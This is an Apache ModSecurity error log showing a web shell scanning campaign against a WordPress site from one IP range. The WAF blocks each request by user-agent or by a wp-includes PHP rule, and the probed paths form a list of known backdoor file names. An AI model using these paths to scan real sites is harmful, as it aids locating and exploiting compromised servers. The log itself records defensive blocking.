[Mon May 25 23:13:28.929138 2026] [:error] [pid 53791:tid 53811] [client 194.5.82.30:48669] [client 194.5.82.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/includes/admin.php"] [unique_id "ahRnGCCRhhNTD40Nf1U4QAAAAZI"]
[Mon May 25 23:13:29.182110 2026] [:error] [pid 62722:tid 62728] [client 194.5.82.6:37427] [client 194.5.82.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/chosen.php"] [unique_id "ahRnGaM6ssnLWYf6CVBfnwAAAEQ"]
[Mon May 25 23:13:29.393287 2026] [:error] [pid 53791:tid 53806] [client 194.5.82.26:32041] [client 194.5.82.26] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/admin.php"] [unique_id "ahRnGSCRhhNTD40Nf1U4QQAAAY0"]
[Mon May 25 23:13:29.604098 2026] [:error] [pid 62515:tid 62520] [client 194.5.82.14:21913] [client 194.5.82.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/zsdhb.php"] [unique_id "ahRnGRig0_XsOwmnrv9pRAAAAMM"]
[Mon May 25 23:13:29.814828 2026] [:error] [pid 62722:tid 62748] [client 194.5.82.48:23319] [client 194.5.82.48] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/revision-long.php"] [unique_id "ahRnGaM6ssnLWYf6CVBfoQAAAFg"]
[Mon May 25 23:13:30.025558 2026] [:error] [pid 62426:tid 62452] [client 194.5.82.16:35221] [client 194.5.82.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/getid3-exception.php"] [unique_id "ahRnGkj3D3Mo8ANpTRA0SQAAABY"]
[Mon May 25 23:13:30.273049 2026] [:error] [pid 53791:tid 53816] [client 194.5.82.44:60215] [client 194.5.82.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-json-restful.php"] [unique_id "ahRnGiCRhhNTD40Nf1U4QgAAAZc"]
[Mon May 25 23:13:30.485027 2026] [:error] [pid 53791:tid 53807] [client 194.5.82.11:27031] [client 194.5.82.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/xml.php"] [unique_id "ahRnGiCRhhNTD40Nf1U4RAAAAY4"]
[Mon May 25 23:13:30.707976 2026] [:error] [pid 62428:tid 62494] [client 194.5.82.47:28999] [client 194.5.82.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/includes/revision-path.php"] [unique_id "ahRnGpNosGBa7mui3VR72QAAAIo"]
[Mon May 25 23:13:30.929482 2026] [:error] [pid 62428:tid 62505] [client 194.5.82.41:31109] [client 194.5.82.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/media/build/irys/"] [unique_id "ahRnGpNosGBa7mui3VR73AAAAJU"]
[Mon May 25 23:13:31.169063 2026] [:error] [pid 62426:tid 62453] [client 194.5.82.29:45961] [client 194.5.82.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/details/xmu.php"] [unique_id "ahRnG0j3D3Mo8ANpTRA0SwAAABc"]
[Mon May 25 23:13:31.381477 2026] [:error] [pid 62426:tid 62441] [client 194.5.82.17:55997] [client 194.5.82.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/modern/dist/resources/js/tal/admin.php"] [unique_id "ahRnG0j3D3Mo8ANpTRA0TAAAAAs"]
[Mon May 25 23:13:31.592209 2026] [:error] [pid 62426:tid 62438] [client 194.5.82.42:20873] [client 194.5.82.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/build/dist/cache/cache/uploads/build/uco/"] [unique_id "ahRnG0j3D3Mo8ANpTRA0TQAAAAg"]
[Mon May 25 23:13:31.810034 2026] [:error] [pid 3698:tid 3712] [client 194.5.82.165:31183] [client 194.5.82.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/classwithtostring.php"] [unique_id "ahRnGwtZBEwA4fyFLKMKAAAAAQw"]
[Mon May 25 23:13:32.021048 2026] [:error] [pid 62722:tid 62724] [client 194.5.82.13:45641] [client 194.5.82.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/images/chosen.php"] [unique_id "ahRnHKM6ssnLWYf6CVBfpAAAAEA"]
[Mon May 25 23:13:32.230490 2026] [:error] [pid 62722:tid 62737] [client 194.5.82.30:50921] [client 194.5.82.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hlex/hlex2.php"] [unique_id "ahRnHKM6ssnLWYf6CVBfpQAAAE0"]
[Mon May 25 23:13:32.472596 2026] [:error] [pid 62515:tid 62537] [client 194.5.82.9:20319] [client 194.5.82.9] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/view-source/ioxi-o2.php"] [unique_id "ahRnHBig0_XsOwmnrv9pRwAAANQ"]
[Mon May 25 23:13:32.689678 2026] [:error] [pid 62428:tid 62489] [client 194.5.82.38:48961] [client 194.5.82.38] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/network/cache/classwithtostring.php"] [unique_id "ahRnHJNosGBa7mui3VR73wAAAIU"]
[Mon May 25 23:13:32.901538 2026] [:error] [pid 62515:tid 62533] [client 194.5.82.32:46561] [client 194.5.82.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/elex/1.php"] [unique_id "ahRnHBig0_XsOwmnrv9pSQAAANA"]
[Mon May 25 23:13:33.117023 2026] [:error] [pid 62515:tid 62525] [client 194.5.82.28:35943] [client 194.5.82.28] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/elex/elex.php"] [unique_id "ahRnHRig0_XsOwmnrv9pSgAAAMg"]
[Mon May 25 23:13:33.391286 2026] [:error] [pid 62515:tid 62527] [client 194.5.82.46:61605] [client 194.5.82.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/maintenance.php"] [unique_id "ahRnHRig0_XsOwmnrv9pTQAAAMo"]
[Mon May 25 23:13:33.686829 2026] [:error] [pid 62426:tid 62433] [client 194.5.82.45:29619] [client 194.5.82.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/database/index.php"] [unique_id "ahRnHUj3D3Mo8ANpTRA0VAAAAAM"]
[Mon May 25 23:13:33.903978 2026] [:error] [pid 62426:tid 62446] [client 194.5.82.5:20927] [client 194.5.82.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/Divi/includes/builder/feature/ajax-data/"] [unique_id "ahRnHUj3D3Mo8ANpTRA0VQAAABA"]
[Mon May 25 23:13:34.118293 2026] [:error] [pid 62427:tid 62457] [client 194.5.82.45:64143] [client 194.5.82.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/Divi/includes/builder/"] [unique_id "ahRnHvMUa83fc4GDyByQCwAAAUA"]
[Mon May 25 23:13:34.330496 2026] [:error] [pid 62428:tid 62492] [client 194.5.82.39:64737] [client 194.5.82.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/goodbarber/models/media.php"] [unique_id "ahRnHpNosGBa7mui3VR74AAAAIg"]
[Mon May 25 23:13:34.589292 2026] [:error] [pid 62515:tid 62536] [client 194.5.82.49:28575] [client 194.5.82.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/dev.ndmd.kn/wp-includes/Text/231.php"] [unique_id "ahRnHhig0_XsOwmnrv9pTwAAANM"]
[Mon May 25 23:13:34.801304 2026] [:error] [pid 62426:tid 62450] [client 194.5.82.29:34989] [client 194.5.82.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/classwithtostring.php"] [unique_id "ahRnHkj3D3Mo8ANpTRA0WAAAABQ"]
[Mon May 25 23:13:35.012061 2026] [:error] [pid 62428:tid 62499] [client 194.5.82.48:29985] [client 194.5.82.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/wp-tinymce.php"] [unique_id "ahRnH5NosGBa7mui3VR74QAAAI8"]
[Mon May 25 23:13:35.222856 2026] [:error] [pid 62428:tid 62496] [client 194.5.82.24:56689] [client 194.5.82.24] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/dev.ndmd.kn/wp-includes/js/tinymce/wp-tinymce.php"] [unique_id "ahRnH5NosGBa7mui3VR75AAAAIw"]
[Mon May 25 23:13:35.489686 2026] [:error] [pid 62426:tid 62453] [client 194.5.82.19:32969] [client 194.5.82.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/wppa-depot/wp-conflg.php"] [unique_id "ahRnH0j3D3Mo8ANpTRA0WgAAABc"]
[Mon May 25 23:13:35.701062 2026] [:error] [pid 62428:tid 62508] [client 194.5.82.20:59157] [client 194.5.82.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/interactivity-api/wp-conflg.php"] [unique_id "ahRnH5NosGBa7mui3VR75gAAAJg"]
[Mon May 25 23:13:35.973443 2026] [:error] [pid 62426:tid 62441] [client 194.5.82.38:32241] [client 194.5.82.38] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/xjkuda.php"] [unique_id "ahRnH0j3D3Mo8ANpTRA0WwAAAAs"]
[Mon May 25 23:13:36.193596 2026] [:error] [pid 62426:tid 62438] [client 194.5.82.52:21829] [client 194.5.82.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/login.php"] [unique_id "ahRnIEj3D3Mo8ANpTRA0XAAAAAg"]
[Mon May 25 23:13:36.413170 2026] [:error] [pid 62426:tid 62431] [client 194.5.82.23:36029] [client 194.5.82.23] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/duplicator-pro/ctrls/class.web.services.php"] [unique_id "ahRnIEj3D3Mo8ANpTRA0XQAAAAE"]
[Mon May 25 23:13:36.631693 2026] [:error] [pid 3698:tid 3700] [client 194.5.82.49:44463] [client 194.5.82.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/min.php"] [unique_id "ahRnIAtZBEwA4fyFLKMKBwAAAQA"]
[Mon May 25 23:13:36.891703 2026] [:error] [pid 62427:tid 62474] [client 194.5.82.27:64063] [client 194.5.82.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/upgrade/wordpress-6.9.1-partial-0/wordpress/wp-admin/admin.php"] [unique_id "ahRnIPMUa83fc4GDyByQDwAAAVE"]
[Mon May 25 23:13:37.119293 2026] [:error] [pid 62426:tid 62448] [client 194.5.82.40:22211] [client 194.5.82.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/upgrade/wordpress-6.9.1-partial-0/wordpress/wp-includes/home.php"] [unique_id "ahRnIUj3D3Mo8ANpTRA0XwAAABI"]
[Mon May 25 23:13:37.374412 2026] [:error] [pid 3698:tid 3721] [client 194.5.82.53:20855] [client 194.5.82.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/enhanced-text-widget1/analyst/src/403x.php"] [unique_id "ahRnIQtZBEwA4fyFLKMKCwAAARU"]
[Mon May 25 23:13:37.588550 2026] [:error] [pid 3698:tid 3723] [client 194.5.82.18:52563] [client 194.5.82.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/backup.php"] [unique_id "ahRnIQtZBEwA4fyFLKMKDAAAARc"]
[Mon May 25 23:13:37.804634 2026] [:error] [pid 62515:tid 62519] [client 194.5.82.12:33577] [client 194.5.82.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "ahRnIRig0_XsOwmnrv9pUgAAAMI"]
[Mon May 25 23:13:38.014773 2026] [:error] [pid 62426:tid 62454] [client 194.5.82.42:32263] [client 194.5.82.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wolf.php"] [unique_id "ahRnIkj3D3Mo8ANpTRA0YgAAABg"]
[Mon May 25 23:13:38.271503 2026] [:error] [pid 62426:tid 62435] [client 194.5.82.7:49007] [client 194.5.82.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/postnews.php"] [unique_id "ahRnIkj3D3Mo8ANpTRA0ZQAAAAU"]
[Mon May 25 23:13:38.505744 2026] [:error] [pid 62427:tid 62471] [client 194.5.82.14:65511] [client 194.5.82.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/maxro.php"] [unique_id "ahRnIvMUa83fc4GDyByQEQAAAU4"]
[Mon May 25 23:13:38.716417 2026] [:error] [pid 62426:tid 62449] [client 194.5.82.53:23265] [client 194.5.82.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/akismet/_inc/img/PRffc.php"] [unique_id "ahRnIkj3D3Mo8ANpTRA0ZgAAABM"]
[Mon May 25 23:13:38.992895 2026] [:error] [pid 62427:tid 62481] [client 194.5.82.36:54837] [client 194.5.82.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/wpvivid_uploads/wp-conflg.php"] [unique_id "ahRnIvMUa83fc4GDyByQFAAAAVg"]
[Mon May 25 23:13:39.204633 2026] [:error] [pid 62722:tid 62725] [client 194.5.82.43:34979] [client 194.5.82.43] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/fukasawa/inc/classes/eroor.php"] [unique_id "ahRnI6M6ssnLWYf6CVBfpgAAAEE"]
[Mon May 25 23:13:39.416809 2026] [:error] [pid 62722:tid 62740] [client 194.5.82.32:27237] [client 194.5.82.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/btx25.php"] [unique_id "ahRnI6M6ssnLWYf6CVBfpwAAAFA"]
[Mon May 25 23:13:39.632496 2026] [:error] [pid 62515:tid 62537] [client 194.5.82.10:54607] [client 194.5.82.10] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/users.php"] [unique_id "ahRnIxig0_XsOwmnrv9pVAAAANQ"]
[Mon May 25 23:13:39.882490 2026] [:error] [pid 62427:tid 62463] [client 194.5.82.6:31191] [client 194.5.82.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/yosxb.php"] [unique_id "ahRnI_MUa83fc4GDyByQFgAAAUY"]
[Mon May 25 23:13:40.096629 2026] [:error] [pid 53791:tid 53793] [client 194.5.82.42:30999] [client 194.5.82.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wp-cache-sys/class-payment.php"] [unique_id "ahRnJCCRhhNTD40Nf1U4RgAAAYA"]
[Mon May 25 23:13:40.307785 2026] [:error] [pid 62427:tid 62462] [client 194.5.82.45:29781] [client 194.5.82.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-patterns/chosen.php"] [unique_id "ahRnJPMUa83fc4GDyByQFwAAAUU"]
[Mon May 25 23:13:40.518852 2026] [:error] [pid 62427:tid 62466] [client 194.5.82.20:63441] [client 194.5.82.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/column/classwithtostring.php"] [unique_id "ahRnJPMUa83fc4GDyByQGAAAAUk"]
[Mon May 25 23:13:40.729715 2026] [:error] [pid 62427:tid 62457] [client 194.5.82.42:37773] [client 194.5.82.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentytwo/parts/"] [unique_id "ahRnJPMUa83fc4GDyByQGwAAAUA"]
